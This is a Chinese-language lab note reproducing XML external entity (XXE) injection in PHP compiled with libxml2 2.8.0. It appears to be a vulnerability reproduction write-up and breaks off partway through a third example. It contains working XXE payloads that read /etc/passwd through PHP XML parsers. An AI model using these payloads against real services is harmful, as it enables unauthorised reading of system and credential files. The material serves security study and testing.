PHP环境 XML外部实体注入漏洞(XXE)
漏洞描述:
libxml2.9.0以后,默认不解析外部实体,导致XXE漏洞逐渐消亡。为了演示PHP环境下的XXE漏洞,本例会将libxml2.8.0版本编译进PHP中。PHP版本并不影响XXE利用。
风险等级:
高
影响版本:
libxml2.8.0版本
漏洞复现:
[1] dom.php 读取敏感文件
Simple XXE Payload:
<?xml version="1.0"?>
<!DOCTYPE ANY[
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<x>&xxe;</x>
[2] SimpleXMLElement.php 读取敏感文件
Simple XXE Payload:
<?xml version="1.0"?>
<!DOCTYPE xxe[
<!ELEMENT name ANY >
<!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<xxe>
<name>&xxe;</name>
</xxe>
[3]simplexml_load_string.php 读取敏感文件
Simple